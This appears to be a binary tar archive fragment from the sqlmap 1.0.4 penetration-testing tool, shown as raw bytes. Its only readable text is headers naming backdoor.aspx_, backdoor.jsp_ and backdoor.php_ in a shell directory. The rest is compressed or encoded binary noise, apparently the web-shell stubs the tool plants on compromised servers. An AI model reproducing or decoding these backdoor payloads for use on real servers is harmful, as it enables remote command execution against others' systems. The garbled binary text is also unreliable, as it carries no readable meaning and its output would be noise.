TI£koC³ð¦N³®ömæ»Ö»¶Z¢«>î6”oÂxƒvAQ0`(‡¾³È5ÓGœºdø]wÈDùsqlmap-1.0.4/shell/backdoor.aspx_000066400000000000000000000006411270044205500167400ustar00rootroot00000000000000œ…-ÛÜOo÷(3*}!%¼`°ë¥ZÙÀ=ÒÝ”A„-kÖ*°Z9ÚY”ü8¾o—yêx4š ÎÌ™‘Ö`à9×w(ÚÕ.I¥E«à}ï"ª?njÜ’Im@ê†å ¶ÉÖ]Úµ§Ÿ ‹Üõøá‰|¶Å…Õµóc¬áÿ“×|‡rÙQÌ3gN>Ñé/U9E^©2 ò¶êÍ¿òºÊýý|šŒ®=pÛlºð‘y#¿L|&(ƒTW@\ WA8¤§<ÜVÔ·*Ö³÷âÍDÆâTÙ€¹%„dµ'õ B=žò¼VÁŦ&ôÁ¡ÊTÚí\šW«Wi‚ç×S§]ÏÙè ÒŽ82õÔÎrƒÌ‡ VìÜу2@N„¿þÁòÉ·ì‹4Ûš½,ÇzA¢šÁM´ØÊðGá4|êká¬SɨZ¹«K*×N NwFBfïtãáxIÍØoúX³š›‡1Âã¾èÝæ6Dº•>Ýî.Ë}r4v"ñåÕü vFIÉÌ?P’øÖ"J2ŒŸHžñZi]¹.›¿!qP“ý~IRøÞsqlmap-1.0.4/shell/backdoor.jsp_000066400000000000000000000005501270044205500165600ustar00rootroot00000000000000œ•’24|No†ïùj • hÏý?{p‚paÄúDÛ9 “˜4é’µ):ÍȼóÌD“Œ—òz‚Œ¶ÌŸó×C•EBçЛ°.±©ÕzExÈæÞ5µׇ¢Vû ÝNŠsi % A" ŸæIУjœ C^ [™œÇYU¬Iý9í-:âWêàpˆwÄ–jw-7*âú®müž]½ CvsQmØMèξ‚šW#Áxdc¤¸9ÞxžjCúÞrÙŽíðPõÙ“+™$†úÁBÓ­0ré¼à\m8w†ÃAÎwÔÖõÁ¡^ð¬*!IgÆï=‘{…Ø÷qå>Õ)j%S˜—Áùò9™ÖÖA:¸Š²ŒÓÝšÐäè%[ÉÏôµýHB)¡¯–²9o]SòCZ2Tj›œîZœ÷BÖ5Ðm_Y ßòÓßÝPDÁ Ô“Ëqp8@ýr8Cï'sqlmap-1.0.4/shell/backdoor.php_000066400000000000000000000007451270044205500165610ustar00rootroot00000000000000œ’2‹ÛOo†ÿŠ;R,“…žc ÙÛ-èÇžÒ_kœ¨È’kì[ìïØŽHÉa‹Á7¯!ÍÌLšå³B؈ˆ‚°ŸP@Þ!ýÞÄ¢Qã¾öo'JOZfèCÍ× ¯| ôàgßfhè¢,µ¦6Í$yRˆ9÷“s¯‘ Ñö§”žïk°ê¨:ó6šËŠ1 ¶á;ÉF2Pè·qöÌ*#2›SÚZ&÷¡¥‹w­*¦ÄÛÄãX) 4“àBèï C#Æ,Š=xT¦ô´ú²ø£ã¬[ªWÑé¯ÌŽ«ˆœ xáè [Bl#©®êÎÀ F‘šráˆa’_>:lò~ê{nÌŽùÀ±@Aˆ”w¬±VðÛÀ„Ñ~ ðŽuè’vz#Ó½Ù5î÷¸áîdÒÓ,ÍNcB@µöAl­Rþô¶¹¯ýŽ½­¯BÊÞù¯b÷Ït¯íO« »Ââ¯íßÙþ»á½êžïOÿÕKEc(¡ã¹ ¹ùwÝ"š1à¸Qw¬×➺ia¦'¥°öYRÌÇòðÃw SÎabãdt˜9¿‡ ì¯O6ÇÍW ܾÀ˦0FQç`¤· ºª2ºfÊ¿ûƒ÷InÞúƒN‚º®]sþ ¡öHK¸4¼‹ãÊæG¹z±÷¨@W·øyrŒiá3E–™½ÇÂzØÜð"ø RÖÅRøT¸N*ùöïÛ¿ÿ¾ýûöïÛ¿ÿ¾ýûöïÛ¿ÿ¾ýûöïÿý¿°ðӮןÂ8ðÏ:Î…“OŠþw¢úËÌ‚13ÑtlG1AÈ“Žº|¼ygûóªžà‰Ã;æA³Qã ïÊUáSx•ióewF«"î'ŒÃßÞ{.dö_KN·?À 5VL†ËÌa\;UëÌd%×™(¿QÁ‹æY€/žIƒ—ñǯ®u YNC8‚>SÇCÈ‘ãߤóPãÚ3 ?Ûv_¯Ã.å¯OçÒÁ2÷¯I¯òHç´˜·|Ubå“&…cѼEi™?ß…ç 't; :¹Q¨ÖIy":@08è3 ?ú?Þö˜€”ÕæÕ«™9ŠZ? c(Ò‘åJõ µ^uÛÅ „e~ªù x}¡= a€c‡íÙ'É°Bl Øο2·«2þ¶ }ÃŽ*äW:ÆÕmthkΫUöÌ'8«‡Ú›c´{$ï~‚²äbÙ¦y|±óqê`h\D–fÐ?öºÐw¼“¬LtÕäA³©àÞ3—›œÛœ7ý¿~Äp=VF(¬áÍvÐ!šî*õ(Ü?â ?µ—ƒ¯ŸÇˆ­"ÀÀÉêЖ;eøJäµ<®VÄžé?økogŸº£ü_Ð \ò‘ùA*ETpš”b™r9_´¾ƒÕ„¡ñ j ò:¶Ñä¯ãd¢[$ÿþªUxýB¶ä>l)hnZVb¼ „a­2ÛÍCxõÚI‘ ⵌHLU”â[Ù$ÒÝ1Pò!r““Ö²pRà‹¬£NÏÕ×boøœÈT|±ʇ*/zÞœ„ÊÞ^ëáRÉþÌh°ðÕh¡Î§Œüc/¸ÉŽ3ýB» Œ³œB ég¶Ê?Ú2¤’(U̦ÈÀ¢7Œ:fÈ¢%Æ”µÐÚõ?ü77‹( õV?ûÀH[’q¸ôA&‘‰›™h Eô(Ñ8ŒØ¥XßçEød¹ú%r0#aª.%¯æGʇ•IÜ{±Ã.®3—õýR,NqpÒ’éÈ‹?ö£ô((+jd>àñÙ%Õù=¼êF?%j)ýSǪ!ª•×OrOç?½¿ŽÕd°²ÖìÐ ˆte¾ešÆ@ ŒMËH+© QÓríòD9;Y/•™hÒ;dw¨Öw¨9ö¥û”ÕæÌw²JlÉŠLkW+M$`Ò‡b‡«ôX)Ñ O áG>öGç µ7Ò .+2΀ŠŒ¨ù3ŽL®Ðß øhK®ÜÝ8QUˆ2µ ÔWprá6 Y©ÏáùçŸ`ø‚cAÖìTë±Ífí< ió‚Ö“$õþ…“R§üT ÖÃ5 «ÉÒ&:·L†ñŠ2ˆ¬‘p©–ã|çä>ÝæPü•´Ê -©¥KhE²X@±„ó(Ÿ#j¶|ÖÞÛ  /åfÅÖ|%u7 Ø¢vkç´~$û¹‰Å#ˆ-p©Jø1É•`Ê9Rå\ÿ-ž+u1‡ß® +Ñ” ­ÑaªÉͯ¢NÊÈ{s}­wÊÖ¥aÛKØÁ ¤òˆž"4þ+‹=_f¥ß­^ñ •«—©(ú~µGc‘…—Ïg$Ç^Ö§+cK(eΟü¨àG”‹ów«_%#^иÛ9H®ÓJC'—™çFÕ¾p9Rgïs€ìLÃØ—v£QdmD̆#pÂ>Ùô».*zñTÄnIl óéý—*Õ«EÃ4JÕ!Ÿé_ï¶Öóôº4ªuƒ×#ld8L«è£š±n†à¼G8ëÖÊxç…Ž5Þå_稌ì–ŠI¦ ¼a'²!àÂÜLodÒ’›#sX˜è7ã YcíQºy¨ðz”¥¼G!µ¸côŸµ¡HÂËßã¹ð-~2om†¦è±ZKÔ[z‹.ÊßrX±”->±t¾VåÝâ2/àµqúe”vÓHÏöuÐAa`·²7Eæ(lñ¹xnúù<^4_äiz´ëu/œƒMé(Wµ"­µÝ­µŸ¶Ö¦ÔyS‚%ÁøÀe’¦Óݳ¡É¹‰Í‰ x³iMRÞ?Ð6yÈøÐ'Cñ»Üˆ®Gß[!lšQjl›QI7û$T»µGî¶WkŠ] øb«íÓ=.5Þ‹m‘kˆ6ÜÏJ kaœËƒ4@Û4qÓ3)Xg:RJ'¿½©±«”¦ÔöWµxjé/[:‘ké -È›=@}aÔ? 2-¥—èµLG1•Úé ×Ôô–|¯ä~O«?ñVÒ‹Š´(ÍM ƒsJaôãZôY¸œþê×(Fȱà¥;ùÓé÷ æ“ÌX›æ~Hh¦EÔS~ ~Ël°¨·Òƒ¹¨ÿqUëý¶x±b-:ß4Ô™ÃÈ)8€FRa€µ¨ yÅöSÆ”=Œçsw‹Óë ÐÅ,gGé|à ¢CK.5טņã3O¬Àšè²†Ä;Å EM4©Bé· ÐŒ¨ÉÆ~Û6®VDÝrè¤øGv`Þ²E¨ˆ¯}ªì DXÔüaƒßI ÐÏ ­u7åë}n”Êi¹±8‡^BVÏ(U$6ñYŶ,•1,¯~D°Uv Bùt“ö>^Qºu<Ûó !›aÒˆ…(}òþKô·©¬  A)«Z¬|‚^©5Bô¬«-©/i4¯¹E"§¥,i{<Ì6Xmø=YINKüc¿—\)÷êœÞ|_ip2§Ø}½p=Ý•%Á«“‡PHJH¯^Š´pGB×6“r7p*ÓðÝ:x˜KÐX>gvs†=¯sfB‡´ölc Çä' ¿x Ž—x‡dµæUkÔ¾XÎ=îýeO¹è¯ÒKü@áÿ(†ßkùfŒ¤aB y½¸ =såLÈ2c2ó§f$…Ï:0£Yñ—R¯T#Xf½ë#K~度Àö![¡ð9N× oÈ » æ*ssgsA2`x;Q?=Û-ftUßÓ`]À…Hß碧Y#•&ÖMD"´=Œã›þYÇ"ÃüÆÿat¢¿¥Í‘ªÕü§±˜×É]q Õp+évõ|E9ŒÑÄö>Rê³Ê" ú6ån:ˆS\¶ßǾ”­58Z$èØz>—>s Xk¬4ÜT¦ªâ4 æ+R¬~öWe:KzÇcÛn%}ņ?LÔ08ž%1r2¹KñUÒAšYl3´Þ~´ €ë†G×cþNãOŽUŒJHÀ°CLÆš™QEæ'Ö¤ÌcÍšÑü•"ôÌŒn[ÝL9¼HS’ƒLþI’Y£ïI¨G ´K–# ®q>a#ôJì|ƒQèR!bÂüY »ÜôiIYæÄf—¥*µ²§ ²Ûø; œþe /M¸V¢tµçš5¸ÐîŠ5ä Lë¤ä œÉˆ[&De“6Ça3ñ‚¥œ”ªf4žž Â6Ó¼¼4&„ôÏV£lm½×¬©t&Ž¿Š\‰»N-N[ÈÁ#ùßñ™ñZÜö¯¼< ±_Üä’üåôÕ Ø=ÆiÂX\ëÀ¦nѺ5/‚ì·H Üzf¶`­·{ê=ô¢™ãšŠÊ•œ˜7=­Õ:'iý!’‰ÕÍÚ×O³¨vÊÝrFšWN.qšªè_ªÍTs'ÔÔ…äŽ#/5Y/L ^€rI1”|àÚpà_ÆÐ#®Á²€ó@eGƒ•µyd¦j± YJ¯H¨p¡3h:™+žYÁ·?ª0êpW‹sЗöÂ<6ÏÆ)qA‹3𤂊Ö·(8ïUÐÁ›<‚Š©¡›Å9€wlƒ: LKêÝ.ŽöÇ”9Át|zðeJTdˆØók ,ß2c·çIB°_yZÐ`^k""gµam»aq ‘f!ê¢#¤,¥ÐÐOê‘d»FVÉ>Ï<£.lg‘dˆísn7Š-ùaø”ý%äÉ$n½Z/ìˆ3“xõ-%J =¡ÖŽe’õ6.—Ê£üŸÛ¥MÄêvYÊ um ‡×/P¦(Ó`ÌÝ)Ž[Óº6_ÕùÔÍ!Ì×ybháÄvð‚QŸoÇ ÂÚGPgò—sr"fþŠÆ¾ Idu)y´¯ ”ä]ä–!UzÎÏ0c¤»Õev;Gzì÷9sq$˜ÀqœT1ºj %[j 1áÙgæå3húØ;ã;æÍëÆJ‹P(’èPY$dC»eX{¼fô·¬  Œ¬àâ» „þöÚ!¤ŒTo¤¤œ(î€ñý9ÔKêižÎÁpœþˆÓ—Š²Di>º]~êí—q·ÇLpüoyq°YW[v·é¤d-|âœÛîÒ6³,Ä©>º­[>šs‘ã»4P™ jÀe7í‘Žljkâ®VÝ ?heG€LC $‚?x¾„æ…3§xq[ü³dv[_þ£oÛøß}üÈÁ„7TŽÃö>Ý=ÕþhÍ®¨ó™¹úøÚ×$ŠïÙ{ô­GÕåÁç“GŸ Ô(¤5£¸ç“Ï?ã1ÿlì*»ã1ÛdÞíÙ¸óûdžÌ÷k5Óï {K`AjßÓGåD©|‡&ùýQ3QŽbŠXŠŸ­Ét2K@™U¶QðÊ>J…2 Ë}Š´l#TJ«oÚÑË%K`¾Ðß(³i€\lèéZÀpÒ¦\~ê @)Èò1býêúÖ!w â/©Q=QЖd´±. « |–>Sµ½ÝТØíLÐPPƒMdô©JÒµz‰P>¦RÓV9=a¡ÀE«i©x›fìNÒX âä$wóÌÄ`R$‚¶WÎR©ÿ,CÁC€Á„@º¶g±RJÒü‚M³6ü`¢Ú@e*æO.×ÞA=kâËüŸâ gß›í]h o3mKÍÏl€PZßósŒYê}Fœ2(ß®™¾¢ÁQp™·`xÅw™Lƒ{¥jFxš¶sJ팓ÅA*œ_ïà º$B᦯>tÈ  Ÿ wÍ<Ýú@Í_ë6mªu„”ôqõÄ7úhOIOd3/h¾… š™'‹Ý` ÿÕãA©ÒØ|îÐ++` Ú³™)#µß™È6ðPÄi3|ÕaŽüÀ›2ÿtº1rf„¡É7|ã9K¤Ê›5GÍZR˜Y͌ӕZN ’› vr€¶á#50[2&Œ!ß»˜ õ_ cU®+Bêœ'½#­ò1šà 7ÂÁ=ðŽ£¢1,‰fêµ^Xšùy°:åÃvç/là9¨æùÑ@8ÑaÈ3t:xh0i ±>Å:1ÒÚm öÊMFè¤,´ÅzOEm~lø¡öc°,bôe[%Ù‘£ìO/'î=Që•BUº‘}šáè7†¥©ôǦ¸Û©fÃ÷k€:sèŠyÄz*@x€^h žÇmeÁ§uÔ?Ž&ä?ï¢0^oóKÀ8\çEìy1úQÝ@p×z-Ÿ’>ÊBÊuž'Óx 5GC6Ï„·¯“”3ÏSÃ.}S<ök7œwæá7º?ý·\aaû‹HZ7™ ù¦{W=h6Z}QæN‘22LiúG/²\óíwU΄ S"ìÆWéÏ2‹FN•Z4ÄŠ$tmŸ×N²\™›m¨ŸÕo'à½5ºeNQ ·ÁË…N2ºÄøza&"#Ó‹G.cªZ¨&åÐLÜ9˜…!tb7ÇvѺÐ!“K¯1œÞpÙmÄú— k(kJúaûĵ7hºØWæ†Æ˜¹¿6`æî¼È7~L·ØÌÍyL·Tÿe‘¿¥{;üºR£Jj3ÞÃ\YIݘAò¾¤™¼Ãö„~íTßña4 rcàÖÄæ4GVÝ^h­™Ç#þÞì #g¿W âdeø7þ+PeòŽµYËÜ«“úÉ^omo Y½R¦pö‚ë þz?œªÁ…/?B«ˆÎÏùRÓE~õRRºI¦MÕQkhéLÓ²cˆiX¸ÏØ€#¡…“O·Új7ŽNƒu\²)<ònð¦#Æs`·¡!v¹7 [ú{ÀÞÁ$¡zdÎÖ“hÐ|Œ +Ç‘sOÝmÔ%º¡^-ÇYp?7¬8>ß3LŒ•Ë|\²±d"E‡ø±¢‹HWë€ ¦Í +¶}æuŠ§7EúŠ Þh®ÊÛúHópç•‹ ÍÇI»ÆƒúÂ-ÍO6ÓƒJôÏ óyðÃBåèŒ e5¿9%í E_%qÇíPl}–ÁËe®ÙcÍ»† Ñl'/GŃ ´G)”ÁËl óSàY0`ñ¹/lioâe‹u%Ø ª´zÖ‡MµcÞIÓ¿ã[,>£>%«Q:¬×Ïl ê¢isåÌŽPo hKöˆ ä¯ø´5Br,{lûÈÚxŽˆ /ü“›žJãÖjùØ\=bÚB'×cBÛN¼rà #fJ/1¾‰“æUŒQ  åuôÍ¿_oŒÉ]Ï„oUjÇ+1Ó #3Ï>„Ž:ñwbÂÐ <Ã>ˆ ŸÅ‚QJ£§á¢¯#ƒã¤£Ÿ0"ë‘)QÃï]öœ¿”B§âÓ{ßa÷R/…š…ã©pö_ÿYih&„!DÎ(Õ…ý1·K¥Ñ=ä j2¾ƒÍ^”_à7RYëÌYßVñiX2ût³8]³b”ƒ0øR“7-,‘ Dbô¥ñ•2\È~Š„ôAW”µ_´6þ²"ä}Îm«?)~˜bÞú[òÉÒ¯7.g½zë`ìî¦Óã}ê¶ZŸ6HÝÉJ'-½p£RÁåÌqN>&vk7Y–4dÆ=I <ƒÞqÍꥸì ¤RÔè~ÿ[Ú_Äí]úB>$ ê‰#¯5ÝxýÕ&ÆÀ®•Ë2³ÆÊÌ(¤¿ ñ\4Ãÿ¦)Ct°–1>›òJ€&ò®–3§|ÉÍ’÷Kì–?ïE¶‚^pq6é´‹^þ7J¼"°Yx Û1 f6Ø0ºõ“2&Ç)@P—Zð–û¬qñýˆ®¤©_(¼Ô¦T¼4KkIˆÙ…$¾xJ­å¸Ò7›êÉTá]aòÇÈ&ë€èJîpÈK(#\ÓKñ ™ÞUŽThóOO6¦69 Nî؃î—h¶fÐBŒÜý/šFóçꛪeÉ… nƒ‡Ùñ¸–,pR‘kùóóôð5Ú O„CfXÌmÈ×fŸ¶g$þ{줹åWèŠtÒ;Y:³Âíl#9Œª‰­èN×fÇeíµ“q AýP…Õax¶ÂD6†< ¿íg_IÀwoËéÍ÷æÖ¹èËWÖJ7z1·ï>IU‹Ûþ)q9®ëWæF&/DŠl,•=8±™ëWžÚ.CX*yƧ†æ_‚%ƒrXIiKaJ¶#‚Ñ…7ÿ‚ŸùþJ¼Ÿ·‚˜µ }ê ívoÚV²u‰ i9} œ5¿á÷ŒÌeC׿‹ÑOkr¸Ã¢½¹KnãšpO}qKPWÂœÛf6]ì4¾»›ó©D¾p‚5{ù¢Uºä‹<*›aÌåzV­5Í%¯r›…;êYbG(þÅôûóõtµ*Èw ›¾ÕÎL(ÃHGè§tJÃØÒ‰ƒ²"/Ý¥²­‡PìÞþ¸åkFgiN{6¸Š†TP62Tø¦7<‡ö’m½ýÀ¸r•pœœm|ß?û¬</)*±k#´ZîÚiU‹ãðPpY7ˆ¥g{/PñðVŒ/µC9•T/k6:¸mI ©&ÜùB#Ê«­~¼O¶| n`=~þ~ý„8Ç·‹¶PÅMÕe±-aÒ±ÅV©¿'Ô6ò/‚”Ó #¨lX‚ ¿tà¼EM7`…pÐJŽ‹AwßJ/T1›67Õ>СviÐߧíW¹e¯éAJ¶ì-Ó.¶€ç;|s,GÁƒQ4}%G#=™¾¨`)j,D{ä#Žþ+`×s¸´†4¸KO¬EÐÇô†0e†ÓKÐU¦ðM\{—üFÖe&[Íø Å2¼ü©1Ó>§  Tn@/¨lLôDN¤¹4n\½„{ɮ֒­eÂc$–²ZÞ"'™¶Ó¹¶x·©w±UÒµ´d ²8ÂØåÃB Çý¸!P[É8*l¯S_IÓ쇖¨U5-±K‡þ»–»õªÜbL“çX <ç}cHëå¸õñÉ|ä€J[†Â¶ƒšÏw¬q ,@¢+8À©òÛqEÈp%Õ£µªNá—à-pÇ b+e»­<Æi`ÛÇoŵ9ƒÖÂN•B®|”µ=Æù(X˜›I‘k™ÎÜ”û/œ™“Þ×”â67J¶3È1|{Uà.GD9šKœ¦G1KÎQI^ Ú>ÿ ©I‘`ÛN/ †ñ¥b—\I“”¾ÀâŠZí´ tvãšà»±Iš}aoL >Žþ­¤›©6üûzÓßÍT˜+éBH"-Êö`Ào#ª½°ƒ%ì Ó:Ik_i_ŒL¸ T—:þ­â%×v;p$pÛC Û\!4¿ÏÅxgW<—ú~½d$@»÷©T¸ì_À¿vZˆã´*94§•XHlÝûmùâü† þò@ËhÇJÓׄwÿŽf’=‰GÄÔ'p2vÌuÊ~^;§çOãU©½Jt'”^aµ,‹=ƒï4•Rw*Š?ýÐAeÀ Ÿz»·‡TVæI¨‹Øœ™Ù„†ýðËëŽïA½Éiµ¼å/Kwq¬íjÛ ßÖ§$s‘ʾár™ÚŽÌª.$ÉÙ`1O€ñ—$í]›zË];ì92AÔ.žÀ…ËÌÙÈ4ÿƒYN¬àõï%sùôä?úu|±t%øЫãÜþ£ÑHbRœròjœË à Î.Êà(Î*œ.±Î öŽ+C’éëô¯Ä;ôø>œ7A¤tìÈ[S)·½ì¡uÜŸsoU½Ó´b7nÍŒ¬.+":9‰99IîñxVp^ñ'÷7xoM·¹à»›¿ßR"pæñZO#ÄfaÓ·±½–Ð83àuÏõê)©&˜_`k÷ZÛÆø@¯ÀoXKö¼0qÑ\±ܱ©”d®¦í÷Ÿ´¹g·Ñ ¹?Aì"pfåxr Lc¸)ªCüeë·$^­Ht¾´‰­H0¥Ïƒ€Žž´—õâÞ We Ã!ÙØòzîRIúþˆï{g„påU <ﻘÐΠƒ ”⢠R8啈T–6ê– ‹à¢¿:ùÐãû‹ÂŠH¶´°>'j`ê·da–)º¨ÂÅ9Èd#´‘pÕài‹ûJjåŠí± 6=ƒ:22‹:$N¸ðVf·€Ûß¼\dÍOVléhÄôϼ”c¶ã v[<"Á³ýTf‘vÌèIÉ~,ŠÝ ìà;¨`ë`“Wð”ì¡ñ¡|àŠ2NÿÞ:p±ýó—Çæ`¤›þw€#`$ÓHÒõS#sá°iKD ã€ÝÐ6Tœ¨Ÿ|œZv÷x[-Ê Ò™”¹Í5²KÁÏôYWÈÕJŠBdGg6X4”b‚²'©Ë)ê¨ÂGð•RµÅ ^æ¦ã>xñ%I¥Š¥Y²‹1®KK¨G€ÌæäFœ¼.ÀblÚ¢¼l}€ Qš©E‘M>=¦ÓÖËZäîPî9B1ÃáCà»âÇÚÉ/L‡KeŒ¿KÕ,U£5ãzò‰Wo ÝIg6qÛy±’AgŒÞ;V$þk·|‹HmDö•¹ÆWJÖ“ä |ظ*Šª·ÐAgã¯ÛÁëiƒg墌9)%xd)úEÅKhÍ×Ë ã_8Q‹V–ã[K_ræ"ÂìQEhRsxJ*Å™Š&ÃäÝ­vä®Mš÷‘JÜà_h]ײLîÇQÓ;²9¼1µ:öå¾ÿo’%ËÊèT‹Ê¦Þ¿ §½Â4Â^Æy¶IÃh]n°¹ÚÑ3ñ"=X`Ìk¯Žž¦òÔ9½úcå‹û2£›s{¿7ûôbzÙfáú‹r² Еè‘_ÝÕÖ\«™ÛçMOÂXû4‚Ũt“èŸ|°¶"XXä(›.Z?7wˆè4 ´™èSä/ӧ˩¦‹vÒ’ÏvE±º²›SÎd{ãžÛᢟ9fdD(Ƴ„RxŒ ÷j/}‘¬³'­‡Œ¸ì¨[Õ‘Ð%­“øú.8'G¶8Ç:`ÑÖ}Ä;Ö—˜i‹™Qº\ŠB©Ô9Gö02 ½™ž“ÈÂÛP}tÁjë.e0&¼± %ÆF¨Ü–>D¯¶`€ZhGä“9{ÉN‡ ‹bKAüSoÔ‘Í[0Ï[0 »äPòh9ë/"½[ÔÕ×öx; _Ì–³³‚½vòù¢Ðýù ¨æX º£˜Û:¯ªÜËHgä½þöb%y+›ýxNbÞåøAvCÌ…ßSÜù‘Ü×µQÕµÙlëÒ{¹à"dà»jûà××ÏEÖº+P͸–ï£/\N˜‘¶úe_&T´Ž‚ÜJuq€9Úì½i6IAì}`‹›‡—~™ðËŸfóà·o4T'Û€ú'q¼³árï3ÂÛ{l¼rðIÀ$€·aÞüضÑ´ažaøƒßΊ.×|Õ£Ú‚…ǶÃè¸N÷¿Ûßþ²üï÷HóŠ¿ÓßòT&ÛQ#¡õ· wîU‡‡w¿§Uÿ‡ýr±ÿ÷ýÑðû$sÇkvðãàHwå÷Á¯dXTÿ·údi9+¬ ^üÊá·ÅÿhýR° ¸¿%ùûÛÁj¬2o×Èxøå®üú$åÿ´¿N¼ÿ(ýR†$„× øµÀXüž€ßÓði¯¬üßêeºàmkÑ•ÿ4ý­uÏìÇ–Ÿ!Àãní‰ôV¢F›þŸ+œ÷±qÕÔg`9P‰’÷8ÿ½¼…Øæ¢Û–á3Žõ›šÍ“À›l7xôÑŽy“ƒí•n0ÇiÛYùíYˆQբѢZFÁáPŠ¾y¶Ía[=Å € ’S‡H†¥OšÀµ®Ñær×âaIÞ›4ßyëy×’a7Ñ–úfmyPZ³×€óN‡Y›ÁÃ/ÇÇ΂n gÜÜÀ† —‡ÆŽˆ$¥PˆApÚ¢ë`+Qà2F ÊöŸ,Â…Ô:ø¢›-⛇ÙERòGpvî3Q@…šý°>üÝç~æD±fÅi­lrýœ_‚JTþ‰qp«-`D>Ô­݇ÖwaO…-vל`óî·™ô’™kiåYAA&ÌUš¯Œ¢™ø5Q=C-]"•‡IxÎl¬UŽÙ>?+j΄gLmÞF(ž~ó63%U«“eÎÁÃWÕá>BýjʃºeË2o|nÿ ‡æÚ¤Ë:ÏâöZtΚK Æ\¨Æ–Z?‰&Ìý^lº°óYà2JýA$ÂÉFz꥓Ìóà>¨ý@~g——ë7üéµ ÅÕS.›„œãé}CžË¸·Žþ!cƒÑmà`ݤá.Ûxª%SpiÖÉxÏt}ò×)‡(ÿêlוž\€[ï/•ƒ!¿S ‚GÎÒ¯‘N <~MÕïF{Î×X(‘š¢Á¨t¯CtC}ˆZ(<ù¡)f,®ŽóC|ª©©¶|Þâ½o$ Ö¯ÅÙòj*Ìõ CŽî×o‚Té`½gõ–Jlî·}8iìB·3½˜zéËK¶0±"šè>ŽÓ…_³Ú¾«ë‡˜â)*å¢RìÒv ¿±ÅŽ“+® »00Äéhg7ß ikˆfä佧s Рÿظáë|yý~ë¡Í=>Ä“_ L¨U&\øÀ:Œ5É–?ï+Ê—lZ|QØ€÷Å]?{þÈcçõ5å_©KWTÖ“ aõ¥pÏ‘ôQW˜k½‡Ïú‹ÖpdÍ÷ eÈŽ ò†}é]–Cj“×}{&0ÿŒÔ9v(ôŽtbd¤”°|º.‘º¢"oÅÂÍg!.ô0ñOª§Èâ¢Çã`†WòÇøÎe™)ô'CŒÛ‡]f:ÿŒáw·á´é–r!>B.£ìؾ\+²5B>ƒJŠB¸…ëëE<1Üú¶l´‹ËrNžÌ$„Í¡h—²qÿß.‘¨$ê¢Pœ€Yñ‹6º¶¤Û=Ò(!©›1þo—­—”]#‘ipwª\ÅQú\È?¨­.£((2\_ÎÖoÀY‹¸ªbôÔ±áÓ¦¹½ïL?!ÿ2þKé •^£¯|]UUÓɸ7®Dí/º?Éô foâ‚3puq˜%14  •’3þ=ªrbÛH›=zÙYðÊ{/)2‹5Y„Šþç3ãl~D“U+“Ç:>(ªrÓŒP‡c ªÚJµG>2–drcw+¥¡R6µf% ö–,€`uk–d£œô#Óå#N±é Šô ÀÄÜ®²­þ2‹>­ô}r6…¹] ˜]ZÙ\ç(;Av"šH‹{ÚK}2ªÎ ªÔÒf6°—KR!X!;çôx Ð  gÑà·ëšò5>EDØ‹=Z qÇâø¬ð„ ·<…E¥ 'hÜ *Ík€„å…Vâ-ßV±Èܸ@àoÑ•34‚ê•,“8e6§|¶Ø–&7€¤ƒ½hvWT¹\<Žy,y›Ânºµ¢!Îå+"EŒà½JbôSÓž0’ F$§AÍ £îܧ_¬^.^Š( IÔ2ÒT-”+8ý¶>‡Óé¼?Lð¸r÷±â&îZ›ïÀ½ hÕÍ·“Áà—vÞrIÜ}%óBc ­çÄëÙõ<h]ç5c>ùaC^¡°Óm–?;ÏæRׂ.µû™ë4Ø¥?¤¨jÇ,–È›/TÍ(@§Žrá;{‹ïLµ*X›”=ÞÚƒñ‘;†~´ Ñ‡bcú˜.ËÉkm®ÓS˜9EÄsý$dt²¥‹ÚëP¤¨zO>ÿÈëadS ¸œ1¥Ì¼o²-;¼¹šE0°¥à à&1JÚZ€-@„‘Xƒd tí‚ lîh©&2¨Æ<‘JÖ·;Þe’šÔ¬íìGõ¼±l°Oš˜%œŸR"Æ8!8N¡ÐÇ»kÛ_éhXÊ:wȉà;¼ÈAðO®÷1Itn»±l„lNãâµ_ë3i'!­h= ÙƒBÄØ {ÍIÖûc¨~ŒR?nê<ÜjƒÙéúËø‰Œ-ê†õÙi9ÔŒ!º€ígH±ÂèÊ£¬LÝíá.‚f‚8Q"h7?FjËã=¼ä^!G)ˆ—ã=Cz…øúèÕ=sÆ [™¾fù#(`Lá>$ú>8> Óﾧ­0Ď͇™Ù‡ãNýÃؤJ%mWù„EV2c37{üà-¬é{´œ7PxYx—½ Ÿï}¸‡çЃ7d×РpžH“Ìž>ðäèïGÍÿÈŠŸdn‰Ÿß#äô ™™ òGI DÝ®ø¢øpÖð`ð`qˆé¾˜Mеxçê\ë"7¼š ba%¤>JT€I=ŸÆg¿ÎÞ$`Àµ\œí‚ÅÖé³q7Éû(}æ7špS~ÒnìI¥õV:à|ni/(p|“x¥`FëÖº~ë¥Óq5ÏÇeȳ×ãsâžûæ¡z£¤ãÈâYârÅ^’Žé»Nã½™ú<‘ñIRϾ„·ÞH¤È3°—¾ŠûkVNá䥛såBD¢Á³9òîBCaòÚ©T<å$Ù8M–ª+9¾làôçÜ;YWÕhˆTª+p’êtýx 5­>mƒ—øDä44¶è½4î[Ëë >º"¾”‹ÒÞ´Mû;Ä ‘Àpœ˜±®½W:šz{̘cÉñßÑBœò Dþ73ÂÄežÔeˆ,_-fÕ(!/îäÑa‡çU>u?lÞ:LªÔÚ>ù _æ‚Ñx1k—Xr=3ðMï"¢7†å Ö@6_ÔƒxÈ &@{oóõ±q3 @½ ¬òåÜýŒæ6äð‰¯xA˜^}½j!š;Ýk¹Æ¿¼›Å¿¤.‹6ŒÞû†:_ËCŽÂO’‚²=Y8ôèŸK!tÝú±±z·’ÊA¿ág©~>©ãj€!~0C°"^7ëÛ€V­•Æ¡_±j¾HÏK -y›ñô;{u2™Ì¾fËÚË-²\×N_l° k+rpá×'øTt£DÅ;.Z6V$oZ¶Aj#áó¸…†5ê[ó‹:Üç´èZ+©¸¿Kø©. ø|' )©`éS4sŠ<>-Òmå$±OQaD+!ª–›šaWå¤kB@Ää‚UÝí„®°É À¢Ô2¦±§?=Ž_ä[t¥Bï¿Ü™U•ƒÞ8™ }9«Ê?­‰w»…—¿P²¾Áúp?ìÁ¥w61óì6OYÜéÑXR”|¦|™qAœŒ\ÝвBuÛ­ÿ¹'Ÿ½·@,ÏàBx4ýè$F3ØËÏ…xZŒ­‡Vy¼ºÅäa"ÛÈ¿ÉT{*&¬ìàÕ;S‚Ø2² ’Ž¸í̺°à ‘û2Ë©ˆ!`WõzeP’ÐB~Ö‡$i`yé·rÞ©kt5NPx„D¤t!ž#ªJø¥.ÿ€Áƒíf\zXœ]øVLú(lGK—”êèÖ-ò 